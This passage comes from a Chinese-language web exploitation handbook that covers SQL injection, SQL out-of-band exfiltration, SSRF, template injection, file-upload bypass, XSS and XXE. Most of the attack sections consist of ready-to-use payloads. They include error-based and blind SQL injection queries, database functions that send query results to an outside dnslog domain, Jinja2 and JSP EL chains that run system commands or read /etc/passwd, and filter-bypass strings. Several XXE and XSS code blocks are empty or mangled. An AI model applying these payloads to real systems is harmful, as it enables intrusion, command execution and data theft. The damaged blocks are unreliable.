向下取整函数,舍去小数点,比如:floor(1.3)=1 104 | floor(rand()_2) 结果只有0和1 105 | group by name 按name的首位字典顺序排列 106 | concat() 连接括号里面的内容 107 | 此处有三个点,一是需要count计数,二是floor,取得0 or 1,进行数据的重复,三是group by进行分组,但具体原理解释不是很通,大致原理为分组后数据计数时重复造成的错误。也有解释为mysql 的bug 的问题。但是此处需要将rand(0),rand()需要多试几次才行。 108 | #### 2. xpath函数 109 | xpath处理函数: 110 | __extractvalue__ 111 | __updatexml__ 112 | 从mysql5.1.5开始提供两个XML查询和修改的函数,其中extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容 113 | ``` 114 | mysql> select * from mysql.user where user = 'root' and extractvalue(1,concat(0x5c,user())); 115 | ERROR 1105 (HY000): XPATH syntax error: '\root@localhost' 116 | mysql> select * from mysql.user where user = 'root' and updatexml(1,concat(0x5c,user()),1); 117 | ERROR 1105 (HY000): XPATH syntax error: '\root@localhost' 118 | ``` 119 | 如果concat被过滤了,可以使用其他函数代替 120 | MAKE_SET(bits,str1,str2,…) 121 | ``` 122 | mysql> select * from mysql.user where user = 'root' and extractvalue(1,make_set(3,'~',version())); 123 | ERROR 1105 (HY000): XPATH syntax error: '~,5.5.40-log' 124 | ``` 125 | lpad() 126 | ``` 127 | mysql> SELECT LPAD('hi',4,'??'); -> '??hi' 128 | mysql> select * from mysql.user where user = 'root' and extractvalue(1,lpad((version()),20,'@')); 129 | ERROR 1105 (HY000): XPATH syntax error: '@@@@@@@@@5.5.40-log' 130 | ``` 131 | #### 3.几何函数 132 | 几何函数有:geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring() 133 | 一些函数在Mysql 5.0.中存在但是不会报错,5.1后才可以报错 134 | >geometrycollection() 135 | multipoint() 136 | polygon() 137 | multipolygon() 138 | linestring() 139 | multilinestring() 140 | exp() 141 | 142 | ``` 143 | mysql> select multipoint((select * from (select * from (select * from (select version())a)b)c)); 144 | ERROR 1367 (22007): Illegal non geometric '(select `c`.`version()` from (select '5.5.40-log' AS `version()` from dual) `c`)' va 145 | //exp 146 | select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b)); 147 | ``` 148 | #### 4.值类型超出范围 149 | 在MySQL版本大于等于5.5.5的的时候才能用 150 | double型函数exp()超出范围 151 | 这个函数是以e为底的对数函数 152 | ``` 153 | select exp(~(select*from(select user())x)) 154 | ``` 155 | #### 5.数据重复 156 | 这里的version()出现了2次,所以报错。 157 | 比较鸡肋无法构造语句。 158 | ``` 159 | select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x 160 | ``` 161 | #### 6.补充 162 | 在MySQL5.7中多了很多能报错的函数 163 | >ST_LatFromGeoHash() 164 | ST_LongFromGeoHash() 165 | GTID_SUBSET() 166 | GTID_SUBTRACT() 167 | ST_PointFromGeoHash() 168 | ``` 169 | mysql> select ST_LatFromGeoHash(version()); 170 | ERROR 1411 (HY000): Incorrect geohash value: '5.7.12-log' for function ST_LATFROMGEOHASH 171 | mysql> select ST_LongFromGeoHash(version()); 172 | ERROR 1411 (HY000): Incorrect geohash value: '5.7.12-log' for function ST_LONGFROMGEOHASH 173 | mysql> select GTID_SUBSET(version(),1); 174 | ERROR 1772 (HY000): Malformed GTID set specification '5.7.12-log'. 175 | mysql> select GTID_SUBTRACT(version(),1); 176 | ERROR 1772 (HY000): Malformed GTID set specification '5.7.12-log'. 177 | mysql> select ST_PointFromGeoHash(version(),1); 178 | ERROR 1411 (HY000): Incorrect geohash value: '5.7.12-log' for function st_pointfromgeohash 179 | ``` 180 | ### 0x06 Bool型盲注 181 | 盲注推荐阅读:[一文搞定MySQL盲注](https://www.anquanke.com/post/id/266244) 182 | 判断: 183 | `and 1=1` 184 | `and 1=2` 185 | 读数据: 186 | `AND ascii(SELECT SUBSTR(table_name,1,1) FROM information_schema.tables) =ascii('A')` 187 | ### 0x07 时间型盲注 188 | 判断: 189 | `and sleep(5)` 190 | 读数据: 191 | ``` 192 | //条件判断型:if((condition), sleep(5), 0); 193 | //条件判断型:CASE WHEN (condition) THEN sleep(5) ELSE 0 END; 194 | //无条件判断型:sleep(5*(condition)) 195 | and if((select ord(substring(database(),1,1))) = 97,sleep(5),1) 196 | ``` 197 | ## 常用小技巧 198 | ### 1.多行合并一行 199 | 200 | #### concat()函数 201 | 多个字符串连接成一个字符串。 202 | 0x7e ~ 203 | ``` 204 | //这里限制limit返回一行一个字段,如果不限制,还是返回多行 205 | select concat(id,0x7e,name) as c from a limit 1; 206 | ``` 207 | #### concat_ws() 208 | concat_ws() 代表 CONCAT With Separator ,是concat()的特殊形式。第一个参数是其它参数的分隔符。 209 | ``` 210 | select concat('_',id,name) as c from a limit 1; 211 | ``` 212 | 213 | #### group_concat()函数 214 | 连接一个组的所有字符串,并以逗号分隔每一条数据 215 | ``` 216 | //多行结果拼接一行 217 | select group_concat(name) as name from a ; 218 | ``` 219 | 220 | ### 2. 截取字符串 221 | left(),right(),substring(),substring_index() 222 | 如果显示有字数限制,对于过长的字符串需要分部分截取。 223 | 从左边开始截取 224 | ``` 225 | SELECT LEFT('web-exp-mysql',6) 226 | ``` 227 | 从右边开始截取 228 | ``` 229 | SELECT RIGHT('web-exp-mysql',6) 230 | ``` 231 | 从第3个字符开始截取到结束 232 | ``` 233 | SELECT SUBSTRING('web-exp-mysql', 3) 234 | ``` 235 | 截取第二个“-”之前的所有字符 236 | ``` 237 | SELECT SUBSTRING_INDEX('web-exp-mysql', '-', 2); 238 | ``` 239 | 截取倒数第二个“-”之后的所有字符 240 | ``` 241 | SELECT SUBSTRING_INDEX('web-exp-mysql', '.', -2); 242 | ``` 243 | ## Bypass 244 | ### 1.bypass WAF 245 | - [sql-injection-fuck-waf](https://notwhy.github.io/2018/06/sql-injection-fuck-waf/) 246 | ### 2.bypass 过滤函数 247 | 过滤: 248 | ``` 249 | gtid_subset|updatexml|extractvalue|floor|rand|exp|json_keys|uuid_to_bin|bin_to_uuid|union|like|hash|sleep|benchmark| |;|\*|\+|-|/|<|>|~|!|\d|%|\x09|\x0a|\x0b|\x0c|\x0d|` 250 | ``` 251 | 绕过 252 | ``` 253 | 'and(ASCII(substring((select(group_concat(table_name))from(information_schema.TABLES)where(TABLE_SCHEMA='rctf')),(ord('b')MOD(ord('a'))),(ord('b')MOD(ord('a')))))=ASCII('f')'and(ASCII(substring((select(group_concat(table_name))from(information_schema.TABLES)where(TABLE_SCHEMA='rctf')),(ord('b')MOD(ord('a'))),(ord('b')MOD(ord('a')))))=ASCII('f') 254 | ``` 255 | ### 3.bypass Token保护 256 | - [Burpsuite+SQLMAP双璧合一绕过Token保护的应用进行注入攻击](https://www.freebuf.com/sectool/128589.html) 257 | 258 | ## Ref 259 | - https://www.cnblogs.com/xuyangda/p/14510562.html 260 | - https://www.anquanke.com/post/id/266244 261 | - https://www.freebuf.com/sectool/128589.html 262 | 263 | -------------------------------------------------------------------------------- /exp/EXP-SQLi-OOB.md: -------------------------------------------------------------------------------- 1 | # SQL 注入信息外带(OOB) 2 | SQL注入时候,利用特定函数,将查询结果拼接到DNS协议请求中,带出来,从而实现回显的命令注入漏洞利用。 3 | 4 | ## 0x01 前期准备 5 | 我们需要一个三级域名服务器(nameserver)也是DNS服务器(DNS Server): 6 | 1. dnslog http://www.dnslog.cn/ 7 | 2. 自己搭建个DNS服务器和购买域名 8 | 9 | ## 0x02 漏洞利用 10 | re111.dnslog.cn 是你拥有的三级域名。 11 | ### 2.1 MySQL 12 | #### 2.1.1 条件 13 | - Windows 14 | - mysql.ini 中 secure_file_priv 必须为空,select @@secure_file_priv 15 | - 适用于联合注入或堆叠注入 16 | #### 2.1.2 利用 17 | 利用 mysql 中的 load_file() 函数,借助了Windows UNC路径特性。 18 | ``` 19 | select load_file(concat("\\\\",version(),".re111.dnslog.cn//1ndex.txt")); 20 | ``` 21 | ### 2.2 Oracle 22 | #### 2.2.1 条件 23 | - 适用于联合注入或堆叠注入 24 | #### 2.2.2 利用 25 | 26 | UTL_HTTP.REQUEST() 27 | ``` 28 | SELECT UTL_HTTP.REQUEST((SELECT * from v$version)||'.re111.dnslog.cn') FROM sys.DUAL; 29 | ``` 30 | DBMS_LDAP.INIT() 31 | ``` 32 | SELECT DBMS_LDAP.INIT((SELECT * from v$version)||'.re111.dnslog.cn',80) FROM sys.DUAL; 33 | ``` 34 | HTTPURITYPE() 35 | ``` 36 | SELECT HTTPURITYPE((SELECT * from v$version)||'.re111.dnslog.cn').GETCLOB() FROM sys.DUAL; 37 | ``` 38 | UTL_INADDR.GET_HOST_ADDRESS() 39 | ``` 40 | SELECT HTTPURITYPE((SELECT * from v$version)||'.re111.dnslog.cn').GETCLOB() FROM sys.DUAL; 41 | ``` 42 | 43 | ### 2.3 MSSQL 44 | #### 2.3.1 条件 45 | - Winodows 46 | - 适用于联合注入或堆叠注入 47 | #### 2.3.2 利用 48 | 原理跟mysql利用一致。 49 | ``` 50 | d=1;DECLARE @host varchar(1024);SELECT @host=(SELECT SERVERPROPERTY('edition'))%2b'.re111.dnslog.cn'; EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"'); 51 | ``` 52 | ``` 53 | id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT SERVERPROPERTY('edition'))%2b'.re111.dnslog.cn'; EXEC('master..xp_fileexist "\'%2b@host%2b'\foobar$"'); 54 | ``` 55 | ``` 56 | id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT SERVERPROPERTY('edition'))%2b'.re111.dnslog.cn'; EXEC('master..xp_subdirs "\'%2b@host%2b'\foobar$"'); 57 | ``` 58 | ### 2.4 ostgreSQL 59 | #### 2.4.1 条件 60 | - Windows 61 | - 适用于堆叠注入 62 | 63 | ``` 64 | id=1;DROP TABLE IF EXISTS table_output; CREATE TABLE table_output(content text); CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT; DECLARE query_result TEXT; BEGIN SELECT INTO query_result (select version()); exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.re111.dnslog.cn\\\\aaa.txt\''; EXECUTE exec_cmd; END; $$ LANGUAGE plpgSQL SECURITY DEFINER; SELECT temp_function(); 65 | ``` 66 | 开启 db_link 扩展: 67 | 68 | ``` 69 | id=1;CREATE EXTENSION dblink;SELECT * FROM dblink('host='||(SELECT version())||'.re111.dnslog.cn username=1ndex password=1ndex','SELECT 1ndex') RETURNS (result TEXT); 70 | ``` 71 | 72 | ## Ref 73 | - https://www.cnblogs.com/wjrblogs/p/14367387.html 74 | -------------------------------------------------------------------------------- /exp/EXP-SQLi-Oracle.md: -------------------------------------------------------------------------------- 1 | # SQL 注入 Oracle 2 | 3 | 推荐[Oracle 注入指北](https://www.tr0y.wang/2019/04/16/Oracle%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/),适合已了解基本注入只是尤其是Mysql注入。 4 | 5 | ## Ref 6 | -[Oracle 注入指北](https://www.tr0y.wang/2019/04/16/Oracle%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/) 7 | -------------------------------------------------------------------------------- /exp/EXP-SSRF.md: -------------------------------------------------------------------------------- 1 | # 后端安全-代码逻辑-SSRF 2 | ## 0x01 Introduction 3 | SSRF(Server-Side Request Forgery:服务器端请求伪造)  4 | ## 0x02 漏洞发现 5 | ### 漏洞触发点 6 | 1. 社交分享功能:获取超链接的标题等内容进行显示 7 | 2. 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览 8 | 3. 在线翻译:给网址翻译对应网页的内容 9 | 4. 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片 10 | 5. 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验 11 | 6. 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试 12 | 7. 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作 13 | 8. 数据库内置功能:数据库的比如mongodb的copyDatabase函数 14 | 9. 邮件系统:比如接收邮件服务器地址 15 | 10. 编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等 16 | 11. 未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain…… 17 | 12. 从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php) 18 | 19 | Ref:[了解SSRF,这一篇就足够了](https://xz.aliyun.com/t/2115) 20 | ## 0x03 漏洞利用 21 | 主要用于内网渗透 22 | 作为代理,用于内网探测和攻击 23 | ### dict:// 24 | ### gophar:// 25 | ### file:// 26 | ### http:// 结合 Redis 利用 27 | 28 | ## 0x04 Bypass 29 | ### Use DNS Rebinding to Bypass SSRF in Java 30 | `http://test.com/checkssrf?url=http://dns_rebind.reabout.com` 31 | 利用条件: 32 | 1. 可以修改NDS解析的域名 33 | 2. 业务逻辑通过IP判断是否内网进行过滤 34 | 3. TTL =0 35 | [Use DNS Rebinding to Bypass SSRF in Java](https://paper.seebug.org/390/) 36 | 37 | -------------------------------------------------------------------------------- /exp/EXP-SSTI-ALL.md: -------------------------------------------------------------------------------- 1 | # 模板注入 Server Side Template Injection (SSTI) 2 | ## 理解 3 | 模板注入(SSTI)和SQL注入,命令注入一样都是都是非法的参数传入造成的安全问题,区别在于,SQL注入是参数到sql语句执行处,命令注入是到命令执行函数处,而模板注入则是到了模板渲染处触发漏洞。 4 | 起因在于现代Web应用MVC架构的中,动态渲染前端代码,所以不同的语言,不同的前端模板会存在不同的问题。 5 | ## 快速判断 6 | 一般参数输入模板采用`{{}}`为动态参数。 所以通过`{{7*7}}`来判断字符是否执行。 7 | 下图,别人总结模板输入标签,来快速判断是什么模板。 8 | ![](https://img2020.cnblogs.com/blog/1344396/202009/1344396-20200911174631687-758048107.png) 9 | 10 | ## Ref 11 | 12 | - https://www.cnblogs.com/bmjoker/p/13508538.html 13 | -------------------------------------------------------------------------------- /exp/EXP-SSTI-PHP.md: -------------------------------------------------------------------------------- 1 | # PHP 模板注入 2 | 3 | ### Smarty模板 4 | 5 | [PHP的模板注入(Smarty模板)](https://blog.csdn.net/qq_45521281/article/details/107556915) 6 | 7 | ### Twig模板 8 | 9 | 10 | 11 | ## Ref 12 | 13 | - https://www.cnblogs.com/bmjoker/p/13508538.html 14 | -------------------------------------------------------------------------------- /exp/EXP-SSTI-Python.md: -------------------------------------------------------------------------------- 1 | # EXP手册-服务端模板注入(SSTI) 2 | ## 基础知识 3 | [flask之ssti模版注入从零到入门](https://xz.aliyun.com/t/3679) 4 | ## EXP 5 | ### 0x01获取基本类 6 | ``` 7 | ''.__class__.__mro__[2] 8 | {}.__class__.__bases__[0] 9 | ().__class__.__bases__[0] 10 | [].__class__.__bases__[0] 11 | request.__class__.__mro__[8] 12 | ``` 13 | 可以借助__getitem__绕过中括号限制: 14 | ``` 15 | ''.__class__.__mro__.__getitem__(2) 16 | {}.__class__.__bases__.__getitem__(0) 17 | ().__class__.__bases__.__getitem__(0) 18 | request.__class__.__mro__.__getitem__(8) 19 | ``` 20 | 注释: 21 | ``` 22 | __class__:获得当前对象的类 23 | __bases__:列出其基类 24 | __mro__ :列出解析方法的调用顺序,类似于bases 25 | __subclasses__():返回子类列表 26 | __dict__ : 列出当前属性/函数的字典 27 | func_globals:返回一个包含函数全局变量的字典引用 28 | ``` 29 | ### 0x02文件操作 30 | >**需要注意**:不同Python的版本,类方法中的子类列表是不同,下面主要是以python2为例子 31 | 32 | >```object.__subclasses__()[40]```为file类,所以可以对文件进行操作 33 | >读文件: 34 | ``` 35 | object.__subclasses__()[40]('/etc/passwd').read() 36 | ``` 37 | >写文件: 38 | ``` 39 | object.__subclasses__()[40]('/tmp').write('test') 40 | ``` 41 | ### 0x03执行命令 42 | 43 | 44 | >```object.__subclasses__()[59].__init__.func_globals.linecache```下直接有os类,可以直接执行命令: 45 | ``` 46 | object.__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read() 47 | ``` 48 | >```object.__subclasses__()[59].__init__.__globals__.__builtins__```下有```eval,__import__```等的全局函数,可以利用此来执行命令: 49 | ``` 50 | object.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()") 51 | object.__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()") 52 | object.__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read() 53 | object.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() 54 | ``` 55 | 56 | ### 0x04任意代码执行以及文件读取的函数 57 | 58 | >os 执行系统命令 59 | ``` 60 | import os 61 | os.system('ipconfig') 62 | ``` 63 | >exec 任意代码执行 64 | ``` 65 | exec('__import__("os").system("ipconfig")') 66 | ``` 67 | >eval 任意代码执行 68 | ``` 69 | eval('__import__("os").system("ipconfig")') 70 | ``` 71 | >timeit 本是检测性能的,也可以任意代码执行 72 | ``` 73 | import timeit 74 | timeit.timeit("__import__('os').system('ipconfig')",number=1) 75 | ``` 76 | >platform 77 | ``` 78 | import platform 79 | platform.popen('ipconfig').read() 80 | ``` 81 | >subprocess 82 | ``` 83 | import subprocess 84 | subprocess.Popen('ipconfig', shell=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT).stdout.read() 85 | ``` 86 | >file 87 | ``` 88 | file('/etc/passwd').read() 89 | ``` 90 | >open 91 | ``` 92 | open('/etc/passwd').read() 93 | ``` 94 | >codecs 95 | ``` 96 | import codecs 97 | codecs.open('/etc/passwd').read() 98 | ``` 99 | ### 0x05Fuzz 100 | ``` 101 | {{config}} 102 | {{handler.settings}} 103 | {{app.__init__.__globals__.sys.modules.app.app.__dict__}} 104 | ``` 105 | ### 0x06Bypass 106 | - [Jinja2 template injection filter bypasses](https://0day.work/jinja2-template-injection-filter-bypasses/) 107 | - [SSTI Bypass 分析](https://www.secpulse.com/archives/115367.html) 108 | 109 | 请求参数获取 110 | - GET: request.args 111 | - Cookies: request.cookies 112 | - Headers: request.headers 113 | - Environment: request.environ 114 | - Values: request.values 115 | 116 | ### Reference: 117 | - [Flask/Jinja2 SSTI && python 沙箱逃逸](https://www.kingkk.com/2018/06/Flask-Jinja2-SSTI-python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/) 118 | - [Flask/Jinja2模板注入中的一些绕过姿势](https://p0sec.net/index.php/archives/120/) 119 | -------------------------------------------------------------------------------- /exp/EXP-Upload-JSP.md: -------------------------------------------------------------------------------- 1 | # 文件上传漏洞绕过WAF-JSP 2 | 3 | 4 | ## 文件拓展名绕过 5 | 6 | - 拓展名没有限制,通过Content-Type字段限制 Content-Type: image/png 7 | 8 | - 黑名单->拓展名jspx `filename="re.jspx"` 9 | - 黑名单->拓展名大小写 `filename="re.JsP"` 10 | - 黑名单->拓展名后加空格 `filename="re.jsp "` 11 | - 黑名单->拓展名后加斜杠 `filename="re.jsp/"` 12 | - 00截断 `filename="re.jsp%00.jpg"` (需要通过burpsuite hex修改) 13 | - 分号截断 `filename="re.jsp;.jpg"` 14 | 15 | ## 文件内容绕过 16 | 17 | ### 通用方法 18 | 19 | - 添加大量的脏数据 20 | 21 | ### JSP `<% %>`被过滤 22 | >采用EL表达式 `${}` 23 | 24 | #### 快速理解 25 | - [EL文档](https://www.tutorialspoint.com/jsp/jsp_expression_language.htm) 26 | - [EL常见写法](https://javaee.github.io/tutorial/jsf-el007.html) 27 | 利用常用对象 28 | ```java 29 | pageContext.setAttribute("name1","test"); //保存的数据只在一个页面中有效 30 | request.setAttribute("name2","test"); //保存的数据只在一次请求中有效,请求转发会携带这个数据 31 | session.setAttribute("name3","test"); //保存的数据只在一次会话中有效,从打开浏览器到关闭浏览器 32 | application.setAttribute("name4","test"); //保存的数据只在服务器中有效,从打开服务器到关闭服务器 33 | ``` 34 | #### poc 35 | 命令执行: 36 | ``` 37 | ${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("whoami").getInputStream())} 38 | ``` 39 | 带回显命令执行 40 | ``` 41 | //获取byte[]对象 42 | ${pageContext.setAttribute("byteArrType", heapByteBuffer.array().getClass())} 43 | //构造一个String 44 | ${pageContext.setAttribute("stringClass", Class.forName("java.lang.String"))} 45 | ${pageContext.setAttribute("stringConstructor", stringClass.getConstructor(byteArrType))} 46 | ${pageContext.setAttribute("stringRes", stringConstructor.newInstance(heapByteBuffer.array()))} 47 | //回显结果 48 | ${pageContext.getAttribute("stringRes")} 49 | ``` 50 | #### 表达式常见字符限制绕过 51 | 52 | 通过 charAt 与 toChars 获取字符,在由 toString 转字符串再用 concat 拼接来绕过一些敏感字符的过滤 53 | ``` 54 | ${"xxx".toString().charAt(0).toChars(97)[0].toString()} 55 | ${"xxx".toString().charAt(0).toChars(97)[0].toString().concat("xxx".toString().charAt(0).toChars(98)[0].toString())} 56 | ``` 57 | 通过以上代码,只需要修改toChars()中的ascii码值就可以变成任意字符 58 | 59 | 60 | 61 | ### JSPX `jsp:scriptlet`被过滤 62 | 63 | 将原本的``替换成`<自定义字符:scriptlet>` 64 | ``` 65 | 66 | 67 | out.println(30*30); 68 | 69 | 70 | ``` 71 | 72 | ## Ref 73 | 1. [记一次绕过waf的任意文件上传](https://xz.aliyun.com/t/11337) 74 | 2. [普通EL表达式命令回显的简单研究](https://forum.butian.net/share/886) 75 | -------------------------------------------------------------------------------- /exp/EXP-Upload.md: -------------------------------------------------------------------------------- 1 | # 文件上传漏洞 2 | 3 | ## Ref 4 | - [浅析文件上传漏洞](https://xz.aliyun.com/t/7365) 5 | -------------------------------------------------------------------------------- /exp/EXP-XPath.md: -------------------------------------------------------------------------------- 1 | # Xpath注入 2 | 3 | [XPath 注入指北 ](https://www.tr0y.wang/2019/05/11/XPath%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/) 4 | -------------------------------------------------------------------------------- /exp/EXP-XSS.md: -------------------------------------------------------------------------------- 1 | # EXP手册-Cross-site scripting 2 | ## 基础知识 3 | XSS攻击可以分为3类:存储型(持久型)、反射型(非持久型)、基于DOM。 4 | ``` 5 | alert('XSS') 6 | ``` 7 | ### 0x01 Client-Side Template Injection实现XSS攻击 8 | - [XSS without HTML: Client-Side Template Injection with AngularJS](https://portswigger.net/blog/xss-without-html-client-side-template-injection-with-angularjs) 9 | 关键词:客户端模板注入、AngularJS 10 | ## Bypass 11 | ### 0x02 Bypass Filter 12 | - XSS online利用平台:https://xsspt.com/ 13 | - [XSS Filter Evasion Cheat Sheet](https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet) 14 | ### 0x03 Bypass CSP 15 | 同源:协议、域名、端口相同。 16 | - CSP online检测工具:https://csp-evaluator.withgoogle.com/ 17 | 18 | - [同源策略详解及绕过方法](http://zjw.dropsec.xyz/CTF/2016/12/13/%E5%90%8C%E6%BA%90%E7%AD%96%E7%95%A5%E8%AF%A6%E8%A7%A3%E5%8F%8A%E7%BB%95%E8%BF%87-%E8%BD%AC.html) 19 | 20 | 利用``````绕过CSP,发送cookie 21 | ``` 22 | 31 | ``` 32 | 在上述基础上访问其他页面 33 | ``` 34 | 57 | 58 | ``` 59 | ## Reference 60 | - [AMP HTML 关于XSS的CTF WRITE UP](https://xz.aliyun.com/t/2347) 61 | AMP获取cookies的方法 62 | -------------------------------------------------------------------------------- /exp/EXP-XXE.md: -------------------------------------------------------------------------------- 1 | # EXP手册-XXE Injecton(XML External Entity Injection) 2 | ## 0x00 基础知识 3 | ### 1.概念 4 | XXE(XML External Entity),即是XML外部实体注入攻击.漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。 5 | 关键在DTD的引用。 6 | 实例1: 7 | ``` 8 | //这一行是 XML 文档定义 9 | \\声明的字段对应xml结构中字段 11 | 12 | 13 | 14 | 15 | ``` 16 | ``` 17 | 18 | Myself 19 | Someone 20 |
TheReminder
21 | This is an amazing book 22 |
23 | ``` 24 | 实例2: 25 | ``` 26 | 27 | //定义元素为 ANY 说明接受任何元素 29 | ]> 30 | ``` 31 | ``` 32 | 33 | &xxe; 34 | mypass 35 | 36 | ``` 37 | 38 | DTD(The document type definition),即是文档类型定义,可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。 39 | ``` 40 | //外部实体 41 | //内部实体 42 | ``` 43 | 用 &实体名; 引用的实体 44 | 用 % 实体名,引用参数实体,只能在 DTD 中使用 %实体名; 45 | 46 | ### 2. 为什么使用CDATA?——读取文件有异常字符报错 47 | 有些内容可能不想让解析引擎解析执行,而是当做原始的内容处理,用于把整段数据解析为纯字符数据而不是标记的情况包含大量的 <> & 或者 48 | " 字符,CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是 xml标记 49 | ``` 50 | \\XML解析忽略 51 | 54 | ``` 55 | #### Payload 56 | evil.dtd 57 | ``` 58 | 59 | 60 | ``` 61 | 注入内容: 62 | ``` 63 | 64 | 66 | 67 | "> 68 | 69 | %dtd; ]> 70 | 71 | &all; 72 | ``` 73 | 可以输入任意字符除了 ]]> 不能嵌套 74 | 用处是万一某个标签内容包含特殊字符或者不确定字符,我们可以用 CDATA包起来 75 | ### 3.各语言xml解析支持的协议 76 | ![](https://raw.githubusercontent.com/ReAbout/web-exp/master/images/xxe1.png) 77 | ### 入门: 78 | - [一篇文章带你深入理解漏洞之 XXE 漏洞](https://xz.aliyun.com/t/3357) 79 | - [XML external entity (XXE) injection](https://portswigger.net/web-security/xxe) 80 | ![](https://raw.githubusercontent.com/ReAbout/web-exp/master/images/xxe-injection.svg?sanitize=true) 81 | ## 0x01 XXE漏洞利用 82 | 前提条件:允许外部实体引用。 83 | 按服务端语言有PHP(libxml)、JAVA、JAVA(Android)一般解析函数都是默认不开启的、Python、libxml2。 84 | 漏洞利用方法分: 85 | - 文件操作: 86 | 0x01 回显读取文件 87 | 0x02 不带回显读取文件-OOB(Out of Band) 88 | 0x03 报错回显读取文件-XXE Base Error 89 | - 0x04 远程执行 90 | - 0x05 端口探测 91 | - 0x06 文件上传-jar协议 92 | 93 | ### 1.回显读取文件 94 | #### payload 95 | ``` 96 | 97 | 98 | 100 | ]> 101 | 102 | 103 | &XXE; 104 | 105 | ``` 106 | ### 2.不带回显读取文件-OOB(Out of Band) 107 | > 108 | OOB XXE 需要使用到DTD约束自定义实体中的参数实体。参数实体是只能在DTD中定义和使用的实体,以 %为标志定义,定义和使用方法如下 109 | ``` 110 | 111 | 113 | 114 | 115 | %para; 116 | ]> 117 | ``` 118 | 而且参数实体还能嵌套定义,但需要注意的是,内层的定义的参数实体% 需要进行HTML转义,否则会出现解析错误。 119 | ``` 120 | 121 | '> 123 | ]> 124 | ``` 125 | 禁止调用同级实体,无法直接读取文件数据通过http回传我们的服务器,所以要用外部实体才能读取数据。 126 | 127 | #### Payload1: 128 | my.dtd放于自己服务器的外部实体: 129 | ``` 130 | "> 131 | %start; 132 | ``` 133 | 注入的内容: 134 | ``` 135 | 136 | //调用我们的dtd 138 | 139 | %remote; 140 | %send; 141 | ]> 142 | ``` 143 | #### Payload2: 144 | 这里已经是三层参数实体嵌套了,第二层嵌套时我们只需要给定义参数实体的%编码,第三层就需要在第二层的基础上将所有%、&、’、” html编码 145 | ubuntu系统自带的/usr/share/yelp/dtd/docbookx.dtd 包含%ISOamso 146 | ``` 147 | 148 | 150 | 151 | "> 153 | %eval; 154 | %send; 155 | '> 156 | %remote; 157 | ]> 158 | ``` 159 | 160 | ### 3.报错回显读取文件-XXE Base Error 161 | 基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。 162 | #### Payload1: 163 | my.dtd放于自己服务器的外部实体: 164 | ``` 165 | "> 166 | %start; 167 | ``` 168 | 注入的内容: 169 | ``` 170 | 171 | 173 | 174 | %remote; 175 | %send; 176 | ]> 177 | ``` 178 | #### Payload2: 179 | 这里已经是三层参数实体嵌套了,第二层嵌套时我们只需要给定义参数实体的%编码,第三层就需要在第二层的基础上将所有%、&、’、” html编码 180 | ubuntu系统自带的/usr/share/yelp/dtd/docbookx.dtd 包含%ISOamso 181 | ``` 182 | 183 | 185 | 186 | "> 188 | %eval; 189 | %send; 190 | '> 191 | %remote; 192 | ]> 193 | ``` 194 | #### Payload3; 195 | 有时候不引用外部DTD也可,原因在于代码实现3层嵌套下未严格执行标准。 196 | ``` 197 | 198 | 200 | 201 | "> 203 | %para2; 204 | '> 205 | %para; 206 | ]> 207 | ``` 208 | 209 | ### 4. 代码执行 210 | PHP语言环境。 211 | 这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令: 212 | ``` 213 | 214 | 215 | ]> 216 | 217 | &xxe; 218 | 219 | ``` 220 | ### 5. SSRF端口探测 221 | 222 | ``` 223 | 224 | 226 | ]> 227 | &f; 228 | ``` 229 | 230 | ### 6.文件上传-jar协议 231 | 这篇文章:[一篇文章带你深入理解漏洞之 XXE 漏洞](https://xz.aliyun.com/t/3357)其中实验七有详细利用方法。 232 | ### Tips 233 | - java 还支持一个 netdoc 协议,能完成列目录的功能 234 | ### Reference 235 | - [一篇文章带你深入理解漏洞之 XXE 漏洞](https://xz.aliyun.com/t/3357) 236 | - [XML external entity (XXE) injection](https://portswigger.net/web-security/xxe) 237 | - [Exploiting XXE with local 